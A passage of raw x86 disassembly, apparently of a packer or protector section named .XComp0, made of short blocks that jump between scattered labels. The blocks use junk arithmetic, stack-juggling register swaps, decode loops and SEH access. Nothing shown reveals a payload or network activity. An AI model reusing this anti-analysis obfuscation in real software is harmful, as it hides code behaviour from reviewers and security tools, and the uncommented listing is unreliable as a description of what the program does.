loc_5910F5:				; CODE XREF: .XComp0:0059309Bj
		pop	esp
		jmp	loc_592079
; ---------------------------------------------------------------------------


loc_5910FB:				; CODE XREF: .XComp0:0058CE47j
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5853C1
; ---------------------------------------------------------------------------


loc_59110D:				; CODE XREF: .XComp0:00587C0Fj
		sub	ebp, 0A627979h
		jmp	loc_58F6E7
; ---------------------------------------------------------------------------


loc_591118:				; CODE XREF: .XComp0:0058B014j
		push	edi
		jmp	loc_58AE3B
; ---------------------------------------------------------------------------


loc_59111E:				; CODE XREF: .XComp0:005977CEj
		xchg	ebp, [esp]
		jmp	loc_5924BB
; ---------------------------------------------------------------------------


loc_591126:				; CODE XREF: .XComp0:00589576j
		mov	edx, 24751BAh
		sub	edx, 8A37F2BDh
		jmp	loc_59879B
; ---------------------------------------------------------------------------


loc_591136:				; CODE XREF: .XComp0:005888F8j
		xor	al, 61h
		sub	cl, al
		mov	eax, [esp]
		add	esp, 4
		add	cl, bl
		add	cl, 52h
		pop	bx
		add	al, cl
		pop	ecx
		add	al, bl
		push	15A2h
		mov	[esp], ecx
		mov	ch, 8Ah
		jmp	loc_597291
; ---------------------------------------------------------------------------


loc_59115E:				; CODE XREF: .XComp0:0058EA35j
		push	esp
		jmp	loc_5981D7
; ---------------------------------------------------------------------------


loc_591164:				; CODE XREF: .XComp0:0058ED8Fj
		pop	dword ptr [esp]
		jmp	loc_586873
; ---------------------------------------------------------------------------


loc_59116C:				; CODE XREF: .XComp0:00596EC3j
		inc	edi
		push	ebp
		jmp	loc_585F77
; ---------------------------------------------------------------------------


loc_591173:				; CODE XREF: .XComp0:00598B77j
		push	2C97h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, 0FFD7818h
		add	ebx, ecx
		sub	ebx, 0FFD7818h
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_58BAB7
; ---------------------------------------------------------------------------


loc_5911A8:				; CODE XREF: .XComp0:00593478j
		add	esp, 4
		push	5AB9h
		mov	[esp], eax
		push	4
		pop	eax
		add	ebx, 0E0B4032h
		jmp	loc_5869AE
; ---------------------------------------------------------------------------


loc_5911C7:				; CODE XREF: .XComp0:00594D8Ej
		mov	ebp, 3C986957h
		and	ebp, 700D377Bh
		and	ebp, 7FEE1BBDh
		jmp	loc_586F10
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 2
		mov	[esp], bx
		push	small 6866h
		mov	[esp], dx
		mov	dl, 31h
		mov	bl, dl
		mov	dx, [esp]
		add	esp, 2
		sub	al, bl
		mov	bx, [esp]
		add	esp, 2
		add	al, 6Ah
		push	ebx
		mov	bl, 4Bh
		add	al, 7Ah
		jmp	loc_58627C
; ---------------------------------------------------------------------------


loc_591210:				; CODE XREF: .XComp0:0058427Aj
		mov	[esp], edx
		sub	dword ptr [esp], 27DE4AFEh
		push	dword ptr [esp]
		jmp	loc_598345
; ---------------------------------------------------------------------------


loc_591222:				; CODE XREF: .XComp0:005910BBj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1CFB2F1Eh
		sub	ebp, 0A99F0C90h
		add	edx, ebp
		pop	ebp
		pop	ebx
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_58A758
; ---------------------------------------------------------------------------


loc_591245:				; CODE XREF: .XComp0:00591DC1j
		sub	bh, 1Eh
		push	2E6Fh
		jmp	loc_593522
; ---------------------------------------------------------------------------


loc_591252:				; CODE XREF: .XComp0:00595E57j
		mov	esi, [esp]
		add	esp, 4
		add	edi, 642F2BB3h
		add	edi, 33C4743Ch
		sub	edi, 0CDF15A7h
		add	edi, esi
		jmp	loc_58F61B
; ---------------------------------------------------------------------------


loc_591274:				; CODE XREF: .XComp0:0058D980j
		pop	edx
		add	ebx, edi
		pop	edi
		jmp	loc_586B61
; ---------------------------------------------------------------------------


loc_59127D:				; CODE XREF: .XComp0:005880D9j
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_58C392
; ---------------------------------------------------------------------------


loc_59128C:				; CODE XREF: .XComp0:0058E913j
		shr	ebx, 8
		or	ebx, 1CDF409Ah
		neg	ebx
		sub	ebx, 8926748Ch
		sub	esi, ebx
		pop	ebx
		add	esi, edx
		push	edx
		mov	edx, 0D691CF0h
		neg	edx
		and	edx, 39C147C2h
		dec	edx
		shl	edx, 2
		push	edx
		push	ecx
		jmp	loc_58BB2C
; ---------------------------------------------------------------------------


loc_5912BB:				; CODE XREF: .XComp0:00588DA9j
		xchg	ebx, [esp]
		pop	esp
		push	esi
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		jmp	loc_589DD8
; ---------------------------------------------------------------------------


loc_5912CD:				; CODE XREF: .XComp0:0058B4FBj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_590A94
; ---------------------------------------------------------------------------


loc_5912E0:				; CODE XREF: .XComp0:00598755j
		add	ch, bh
		pop	ebx
		and	ch, 0E5h
		push	1EDBh
		mov	[esp], ebx
		mov	bh, 74h
		jmp	loc_588D0D
; ---------------------------------------------------------------------------


loc_5912F5:				; CODE XREF: .XComp0:0058B0D8j
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0C573416h
		jmp	loc_5975F0
; ---------------------------------------------------------------------------


loc_591307:				; CODE XREF: .XComp0:0058AE44j
		mov	ebx, 581C3BA8h
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 581C3BADh
		add	edi, ebx
		pop	ebx
		jmp	loc_585740
; ---------------------------------------------------------------------------


loc_59131D:				; CODE XREF: .XComp0:00590059j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58552B
; ---------------------------------------------------------------------------


loc_591329:				; CODE XREF: .XComp0:00588BDEj
		sub	edi, ebx
		pop	ebx
		add	edi, 0FFFFFFFFh
		neg	edi
		sub	edi, 0CA7DEDD5h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_593356
; ---------------------------------------------------------------------------


loc_591347:				; CODE XREF: .XComp0:0058A4B9j
		pop	ecx
		jmp	loc_585B3F
; ---------------------------------------------------------------------------


loc_59134D:				; CODE XREF: .XComp0:00586AC5j
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		jmp	loc_592E4D
; ---------------------------------------------------------------------------


loc_59135F:				; CODE XREF: .XComp0:005865B7j
		pop	esi
		sub	ebx, 3C21047h
		jmp	loc_58D469
; ---------------------------------------------------------------------------


loc_59136B:				; CODE XREF: .XComp0:00586239j
		mov	ebp, 74173677h
		not	ebp
		xor	ebp, 0E38EFD7Bh
		sub	eax, ebp
		jmp	loc_598FED
; ---------------------------------------------------------------------------


loc_59137F:				; CODE XREF: .XComp0:0059542Bj
		mov	dx, cx
		pop	ecx
		push	bx
		push	ecx
		mov	cx, 0FFFFh
		push	ebp
		jmp	loc_59653D
; ---------------------------------------------------------------------------


loc_591390:				; CODE XREF: .XComp0:00590FE1j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58C74E
; ---------------------------------------------------------------------------


loc_59139D:				; CODE XREF: .XComp0:0058AF1Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_5974D3
; ---------------------------------------------------------------------------


loc_5913AC:				; CODE XREF: .XComp0:00590F2Dj
		push	edx
		pop	esi
		mov	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_58F97B
; ---------------------------------------------------------------------------


loc_5913BC:				; CODE XREF: .XComp0:0058BE7Fj
		mov	eax, [esp]
		add	esp, 4
		xor	eax, ecx
		pop	ecx
		push	esi
		mov	esi, 27BD465Bh
		dec	esi
		push	11E3h
		mov	[esp], edx
		push	47C0h
		mov	[esp], ebx
		push	0CA203B0h
		pop	ebx
		add	ebx, 5A1C0DF0h
		push	ebx
		jmp	loc_59796B
; ---------------------------------------------------------------------------


loc_5913F1:				; CODE XREF: .XComp0:0058C02Fj
		add	edx, esi
		pop	esi
		mov	edi, [esp]
		push	edi
		jmp	loc_598455
; ---------------------------------------------------------------------------


loc_5913FD:				; CODE XREF: .XComp0:0058CED3j
		mov	ebx, [esp]
		jmp	loc_593754
; ---------------------------------------------------------------------------


loc_591405:				; CODE XREF: .XComp0:0059574Aj
		add	esp, 4
		push	1663h
		mov	[esp], ecx
		mov	ecx, 2Ch
		jmp	loc_596F05
; ---------------------------------------------------------------------------


loc_59141D:				; CODE XREF: .XComp0:0058C7AFj
		xor	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, 438747Bh
		inc	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		shr	eax, 3
		dec	eax
		jmp	loc_58AC79
; ---------------------------------------------------------------------------


loc_59144C:				; CODE XREF: .XComp0:00592D31j
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		mov	ebx, ecx
		pop	ecx
		jmp	loc_58904E
; ---------------------------------------------------------------------------


loc_59145C:				; CODE XREF: .XComp0:0058C188j
		add	ebx, edx
		jmp	loc_58AD2E
; ---------------------------------------------------------------------------


loc_591463:				; CODE XREF: .XComp0:0058FFB8j
		shl	ecx, 1
		or	ecx, 23BE622Ah
		neg	ecx
		and	ecx, 12EC55F9h
		push	edi
		mov	edi, 0E978CE44h
		sub	ecx, edi
		pop	edi
		or	eax, ecx
		pop	ecx
		sub	eax, 0BA700E0Bh
		mov	edi, eax
		pop	eax
		mov	ecx, edi
		pop	edi
		xor	eax, ecx
		jmp	loc_590F82
; ---------------------------------------------------------------------------


loc_591491:				; CODE XREF: .XComp0:005974EEj
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58438D
; ---------------------------------------------------------------------------


loc_5914AC:				; CODE XREF: .XComp0:0058ED0Cj
		pop	edx
		mov	edi, ebp
		pop	ebp
		jmp	loc_586479
; ---------------------------------------------------------------------------


loc_5914B5:				; CODE XREF: .XComp0:0058D2D0j
		or	ecx, 615C298Ch
		xor	ecx, 305299DEh
		sub	edi, ecx
		pop	ecx
		pop	edx
		push	edi
		jmp	loc_587097
; ---------------------------------------------------------------------------


loc_5914CB:				; CODE XREF: .XComp0:005848C9j
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	ecx
		mov	cl, dh
		mov	bl, cl
		pop	ecx
		push	27BAh
		mov	[esp], edx
		push	ecx
		jmp	loc_595977
; ---------------------------------------------------------------------------


loc_5914EB:				; CODE XREF: .XComp0:00597885j
		sub	edx, 37862F05h
		pop	edi
		jmp	loc_592837
; ---------------------------------------------------------------------------


loc_5914F7:				; CODE XREF: .XComp0:0058CD4Dj
		sub	dh, ah
		jmp	loc_588040
; ---------------------------------------------------------------------------


loc_5914FE:				; CODE XREF: .XComp0:0058614Aj
		mov	edx, 53BF54EEh
		jmp	loc_59402E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		jmp	loc_58E547
; ---------------------------------------------------------------------------


loc_591512:				; CODE XREF: .XComp0:005915A9j
		mov	ebp, 0C859A159h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3484FF2h
		xor	ebx, 6FC73B97h
		jmp	loc_594CB5
; ---------------------------------------------------------------------------


loc_591530:				; CODE XREF: .XComp0:00597555j
		push	dword ptr [esp]
		mov	edi, [esp]
		push	eax
		jmp	loc_596CDD
; ---------------------------------------------------------------------------


loc_59153C:				; CODE XREF: .XComp0:00598AF5j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		dec	ebx
		shl	ebx, 7
		jmp	loc_587631
; ---------------------------------------------------------------------------


loc_591554:				; CODE XREF: .XComp0:0058E90Aj
		shl	edi, 3
		shr	edi, 5
		xor	edi, 69A06A97h
		and	edi, 75711A62h
		jmp	loc_5964B7
; ---------------------------------------------------------------------------


loc_59156B:				; CODE XREF: .XComp0:00589D4Cj
		sub	ebx, 7C6F320Dh
		xor	ebx, 0B8D0CEF7h
		jmp	loc_58BA27
; ---------------------------------------------------------------------------


loc_59157C:				; CODE XREF: .XComp0:0059371Fj
		add	esp, 4
		add	ecx, 460A5D6Eh
		jmp	loc_597E0E
; ---------------------------------------------------------------------------


loc_59158D:				; CODE XREF: .XComp0:0058DFF8j
		push	ecx
		jmp	loc_58737E
; ---------------------------------------------------------------------------


loc_591593:				; CODE XREF: .XComp0:0058839Ej
		dec	bh
		dec	bh
		xor	bh, 92h
		sub	cl, bh
		pop	ebx
		dec	cl
		jmp	loc_598536
; ---------------------------------------------------------------------------


loc_5915A4:				; CODE XREF: .XComp0:0058ED13j
		mov	edi, 72A67493h
		jmp	loc_591512
; ---------------------------------------------------------------------------


loc_5915AE:				; CODE XREF: .XComp0:00596D05j
		pop	esp
		mov	[esp], edx
		mov	edx, 319B3B50h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5876E5
; ---------------------------------------------------------------------------


loc_5915C4:				; CODE XREF: .XComp0:005875BBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cl
		jmp	loc_598C77
; ---------------------------------------------------------------------------


loc_5915D1:				; CODE XREF: .XComp0:00589797j
		pop	edi
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_596F9F
; ---------------------------------------------------------------------------


loc_5915DF:				; CODE XREF: .XComp0:00589393j
		sub	bl, al
		pop	eax
		add	dl, bl
		jmp	loc_587785
; ---------------------------------------------------------------------------


loc_5915E9:				; CODE XREF: .XComp0:00590CB3j
		mov	ebx, [esp]
		jmp	loc_597A23
; ---------------------------------------------------------------------------


loc_5915F1:				; CODE XREF: .XComp0:005861A5j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58CAB2
; ---------------------------------------------------------------------------


loc_5915FF:				; CODE XREF: .XComp0:0058CF81j
		pop	esp
		mov	[esp], edi
		push	edx
		jmp	loc_58EB3A
; ---------------------------------------------------------------------------


loc_591609:				; CODE XREF: .XComp0:00591944j
		push	edx
		mov	dl, 30h
		sub	dl, 0E6h
		sub	dl, 7Bh
		and	dl, 7
		dec	dl
		shr	dl, 1
		jmp	loc_5986A0
; ---------------------------------------------------------------------------


loc_59161E:				; CODE XREF: .XComp0:0058AF09j
		pop	ecx
		add	esp, 4
		sub	al, bh
		jmp	loc_58D054
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	5E8Ch
		jmp	loc_594EF5
; ---------------------------------------------------------------------------


loc_59163F:				; CODE XREF: .XComp0:00594E3Aj
		add	esi, 4
		jmp	loc_5953D1
; ---------------------------------------------------------------------------


loc_591647:				; CODE XREF: .XComp0:00590117j
		pop	esi
		push	eax
		jmp	loc_586ADD
; ---------------------------------------------------------------------------


loc_59164E:				; CODE XREF: .XComp0:00587D69j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_586D67
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_594767
; ---------------------------------------------------------------------------


loc_59165F:				; CODE XREF: .XComp0:00593539j
		mov	dh, [esp]
		add	esp, 2
		push	0
		sub	byte ptr [esp],	0E6h
		sub	[esp], dh
		add	byte ptr [esp],	0E6h
		mov	dh, [esp]
		add	esp, 4
		sub	dh, 7Bh
		jmp	loc_58FC0A
; ---------------------------------------------------------------------------


loc_591683:				; CODE XREF: .XComp0:005936E0j
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, 71D81C1Eh
		sub	ebx, 40B641D2h
		jmp	loc_58FF00
; ---------------------------------------------------------------------------


loc_59169B:				; CODE XREF: .XComp0:0058F9B8j
		sub	cl, 49h
		sub	dl, cl
		pop	ecx
		jmp	loc_590896
; ---------------------------------------------------------------------------


loc_5916A6:				; CODE XREF: .XComp0:0058838Cj
		pop	eax
		and	ebp, ecx
		jmp	loc_590C38
; ---------------------------------------------------------------------------


loc_5916AE:				; CODE XREF: .XComp0:00595E80j
		push	esi
		mov	esi, 1C0B70FEh
		jmp	loc_58A623
; ---------------------------------------------------------------------------


loc_5916B9:				; CODE XREF: .XComp0:005875C9j
		pop	bx
		not	dl
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58C91F
; ---------------------------------------------------------------------------


loc_5916CB:				; CODE XREF: .XComp0:0058D1F6j
		neg	ecx
		shl	ecx, 8
		sub	ecx, 80A703AAh
		jmp	loc_5951CB
; ---------------------------------------------------------------------------


loc_5916DB:				; CODE XREF: .XComp0:00586248j
		mov	ebp, 74D84416h
		sub	ebp, 1
		dec	ebp
		shl	ebp, 7
		inc	ebp
		jmp	loc_58F50E
; ---------------------------------------------------------------------------


loc_5916F0:				; CODE XREF: .XComp0:00587F5Cj
		mov	[esp], ebx
		jmp	loc_5978EE
; ---------------------------------------------------------------------------


loc_5916F8:				; CODE XREF: .XComp0:00594E8Fj
		add	esp, 2
		xor	cx, 668h
		push	edx
		mov	dx, 1493h
		and	dx, 37E8h
		sub	dx, 1
		shl	dx, 7
		shl	dx, 2
		push	27A6h
		jmp	loc_586D28
; ---------------------------------------------------------------------------


loc_591721:				; CODE XREF: .XComp0:00589926j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_584A21
; ---------------------------------------------------------------------------


loc_591731:				; CODE XREF: .XComp0:00595F3Dj
		mov	[esp], ebx
		mov	bl, 6Dh
		add	ch, 5Ah
		sub	ch, 0CDh
		add	ch, bl
		add	ch, 0CDh
		sub	ch, 5Ah
		pop	ebx
		push	eax
		jmp	loc_58F8B4
; ---------------------------------------------------------------------------


loc_59174B:				; CODE XREF: .XComp0:00595771j
		sub	al, dl
		pop	edx
		sub	al, 5Bh
		sub	al, dl
		add	al, 5Bh
		jmp	loc_597B2C
; ---------------------------------------------------------------------------


loc_591759:				; CODE XREF: .XComp0:0058ED3Cj
		mov	edx, 7E85782Ch
		push	edx
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	edx
		not	edx
		xor	edx, 5A961F11h
		jmp	loc_59347D
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_59177A:				; CODE XREF: .XComp0:0058B2ADj
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_58A95D
; ---------------------------------------------------------------------------


loc_591784:				; CODE XREF: .XComp0:00596004j
		mov	ecx, 38D6522Bh
		sub	eax, ecx
		pop	ecx
		xor	ebx, eax
		pop	eax
		sub	ecx, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	16E4h
		mov	[esp], ecx
		push	1232h
		mov	[esp], esi
		mov	esi, 140B68A8h
		push	2020h
		mov	[esp], ebp
		mov	ebp, 61861519h
		and	esi, ebp
		mov	ebp, [esp]
		jmp	loc_58B7F0
; ---------------------------------------------------------------------------


loc_5917CA:				; CODE XREF: .XComp0:00585EC4j
		pop	esp
		jmp	loc_5848A3
; ---------------------------------------------------------------------------


loc_5917D0:				; CODE XREF: .XComp0:00585F2Aj
		pop	ebx
		sub	edx, 5E3D00CCh
		add	edx, ebx
		push	edi
		push	eax
		mov	eax, 7C965D14h
		push	esi
		mov	esi, 65053B27h
		mov	edi, 87B098FFh
		sub	edi, esi
		pop	esi
		xor	edi, eax
		pop	eax
		add	edx, edi
		jmp	loc_59393F
; ---------------------------------------------------------------------------


loc_5917F8:				; CODE XREF: .XComp0:00597972j
		pop	edx
		jmp	loc_5863C9
; ---------------------------------------------------------------------------


loc_5917FE:				; CODE XREF: .XComp0:0058D31Cj
		push	ebx
		jmp	loc_5881AC
; ---------------------------------------------------------------------------


loc_591804:				; CODE XREF: .XComp0:0058FCA1j
		shl	edx, 3
		sub	edx, 1
		jmp	loc_586AEC
; ---------------------------------------------------------------------------


loc_591812:				; CODE XREF: .XComp0:00584AD2j
		sub	ebx, 3A7F5B09h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5934A3
; ---------------------------------------------------------------------------


loc_591829:				; CODE XREF: .XComp0:0058E89Fj
		pop	edx
		mov	esi, [esp]
		push	ebp
		jmp	loc_58B2D8
; ---------------------------------------------------------------------------


loc_591833:				; CODE XREF: .XComp0:00593CE1j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		jmp	loc_58A412
; ---------------------------------------------------------------------------


loc_591840:				; CODE XREF: .XComp0:00586E3Bj
		xor	ebp, ecx
		pop	ecx
		jmp	loc_593594
; ---------------------------------------------------------------------------


loc_591848:				; CODE XREF: .XComp0:0059260Aj
		add	ebx, ebp
		pop	ebp
		xor	ebx, 3F0E52C3h
		jmp	loc_598E7D
; ---------------------------------------------------------------------------


loc_591856:				; CODE XREF: .XComp0:005957EFj
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_591B61
; ---------------------------------------------------------------------------


loc_591863:				; CODE XREF: .XComp0:00598F0Dj
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 2B217CE5h
		neg	eax
		add	eax, 3A3F752Bh
		shr	eax, 6
		jmp	loc_58F5A8
; ---------------------------------------------------------------------------


loc_59187D:				; CODE XREF: .XComp0:005904B5j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_585ACB
; ---------------------------------------------------------------------------


loc_59188E:				; CODE XREF: .XComp0:00587F56j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_587B86
; ---------------------------------------------------------------------------


loc_5918A2:				; CODE XREF: .XComp0:0058A8D8j
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59534F
; ---------------------------------------------------------------------------


loc_5918AE:				; CODE XREF: .XComp0:00590566j
		push	edi
		mov	edi, 53E82287h
		neg	edi
		sub	edi, 0AC17DD75h
		jmp	loc_5886CE
; ---------------------------------------------------------------------------


loc_5918C1:				; CODE XREF: .XComp0:0059577Ej
		xchg	ebx, [esp]
		jmp	loc_591C7F
; ---------------------------------------------------------------------------


loc_5918C9:				; CODE XREF: .XComp0:0059315Cj
		mov	[esp], edx
		jmp	loc_589CA9
; ---------------------------------------------------------------------------


loc_5918D1:				; CODE XREF: .XComp0:0058A2DBj
		push	ebx
		jmp	loc_59485F
; ---------------------------------------------------------------------------


loc_5918D7:				; CODE XREF: .XComp0:00596DA7j
		add	edx, esi
		jmp	loc_5981F9
; ---------------------------------------------------------------------------


loc_5918DE:				; CODE XREF: .XComp0:0058D946j
		sub	ebx, 18EED79Bh
		jmp	loc_5934B0
; ---------------------------------------------------------------------------


loc_5918E9:				; CODE XREF: .XComp0:00587A14j
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58D09D
; ---------------------------------------------------------------------------


loc_5918F9:				; CODE XREF: .XComp0:005962B4j
		mov	edi, 3BC048E1h
		sub	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_594DE8
; ---------------------------------------------------------------------------


loc_591911:				; CODE XREF: .XComp0:005881D2j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_598B38
; ---------------------------------------------------------------------------


loc_591925:				; CODE XREF: .XComp0:005842ACj
		mov	[esp], edi
		jmp	loc_5854B4
; ---------------------------------------------------------------------------


loc_59192D:				; CODE XREF: .XComp0:0059214Aj
		xor	edx, 7FDC73C6h
		jmp	loc_58B0F6
; ---------------------------------------------------------------------------


loc_591938:				; CODE XREF: .XComp0:0058E045j
		add	cl, 0B6h
		and	cl, 6Eh
		add	cl, 1
		xor	cl, 0BCh
		jmp	loc_591609
; ---------------------------------------------------------------------------


loc_591949:				; CODE XREF: .XComp0:00588594j
		xor	bl, ah
		jmp	loc_5939D1
; ---------------------------------------------------------------------------


loc_591950:				; CODE XREF: .XComp0:00585405j
		add	ecx, 4
		jmp	loc_58C5DF
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_591963:				; CODE XREF: .XComp0:005941D8j
		add	edx, 4
		add	edx, 4
		jmp	loc_592A30
; ---------------------------------------------------------------------------


loc_591974:				; CODE XREF: .XComp0:005926BAj
		pop	dword ptr [esp]
		pop	esp
		push	183h
		jmp	loc_5955AC
; ---------------------------------------------------------------------------


loc_591982:				; CODE XREF: .XComp0:0058D1C5j
		mov	cl, al
		mov	dh, cl
		pop	ecx
		pop	ax
		xor	dh, 62h
		sub	dh, 54h
		jmp	loc_58AB68
; ---------------------------------------------------------------------------


loc_591994:				; CODE XREF: .XComp0:0058BB11j
		mov	ebx, [esp]
		add	esp, 4
		xor	al, cl
		mov	cx, [esp]
		jmp	loc_591BCD
; ---------------------------------------------------------------------------


loc_5919A5:				; CODE XREF: .XComp0:00586D59j
		mov	esi, 5C9C589Dh
		add	eax, esi
		pop	esi
		push	edi
		jmp	loc_598CD8
; ---------------------------------------------------------------------------


loc_5919B3:				; CODE XREF: .XComp0:00596B90j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		jmp	loc_585587
; ---------------------------------------------------------------------------


loc_5919C5:				; CODE XREF: .XComp0:00590637j
		pop	edi
		push	esi
		mov	esi, 50FB6BBEh
		jmp	loc_598DE2
; ---------------------------------------------------------------------------


loc_5919D1:				; CODE XREF: .XComp0:00589903j
		pop	esi
		jmp	loc_593111
; ---------------------------------------------------------------------------


loc_5919D7:				; CODE XREF: .XComp0:0058CB2Fj
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebp
		pop	ecx
		pop	ebp
		sub	eax, 50A9302Eh
		jmp	loc_58479F
; ---------------------------------------------------------------------------


loc_5919F4:				; CODE XREF: .XComp0:00592CE2j
		pop	edx
		add	ecx, esi
		sub	ecx, 6C9601C1h
		pop	esi
		push	esi
		push	14EBh
		jmp	loc_58775E
; ---------------------------------------------------------------------------


loc_591A09:				; CODE XREF: .XComp0:0058A766j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_591A0E:				; CODE XREF: .XComp0:00592074j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		pop	ecx
		jmp	loc_58C80C
; ---------------------------------------------------------------------------


loc_591A20:				; CODE XREF: .XComp0:005928A3j
		xor	cl, 0D1h
		sub	al, cl
		pop	ecx
		add	al, bl
		add	al, 7Ch
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58F4C5
; ---------------------------------------------------------------------------


loc_591A38:				; CODE XREF: .XComp0:0058BE3Fj
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	eax
		push	ebx
		mov	ebx, 0AD11E47h
		xor	ebx, 7BF95AD7h
		xor	ebx, 30913D3Ah
		mov	eax, ebx
		pop	ebx
		jmp	loc_596B95
; ---------------------------------------------------------------------------


loc_591A60:				; CODE XREF: .XComp0:00584328j
		sub	eax, 989040Ch
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ebx, 46326CCBh
		add	ebx, eax
		push	eax
		mov	eax, 1E221576h
		add	eax, 28105755h
		sub	ebx, eax
		pop	eax
		sub	ebx, 7DD13EC3h
		sub	ebx, 710E4728h
		pop	dword ptr [eax]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_591A9D:				; CODE XREF: .XComp0:0058D68Ej
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59650D
; ---------------------------------------------------------------------------


loc_591AAE:				; CODE XREF: .XComp0:00589033j
		mov	[esp], ebx
		mov	ebx, 627819F4h
		jmp	loc_5935D6
; ---------------------------------------------------------------------------


loc_591ABB:				; CODE XREF: .XComp0:00589CCFj
		add	esp, 4
		mov	dh, 68h
		sub	dh, ch
		pop	ecx
		jmp	loc_585008
; ---------------------------------------------------------------------------


loc_591ACB:				; CODE XREF: .XComp0:005936D3j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_586DAF
; ---------------------------------------------------------------------------


loc_591AF6:				; CODE XREF: .XComp0:0058945Aj
		shl	ebx, 4
		jmp	loc_58A84C
; ---------------------------------------------------------------------------


loc_591AFE:				; CODE XREF: .XComp0:00587EA1j
		mov	edi, ecx
		jmp	loc_5933C1
; ---------------------------------------------------------------------------


loc_591B05:				; CODE XREF: .XComp0:00588AABj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_59843C
; ---------------------------------------------------------------------------


loc_591B15:				; CODE XREF: .XComp0:00596F75j
		mov	esi, ecx
		pop	ecx
		sub	esi, 0FFFFFFFFh
		not	esi
		jmp	loc_59745C
; ---------------------------------------------------------------------------


loc_591B25:				; CODE XREF: .XComp0:00596398j
		mov	eax, 2CBC0BC6h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
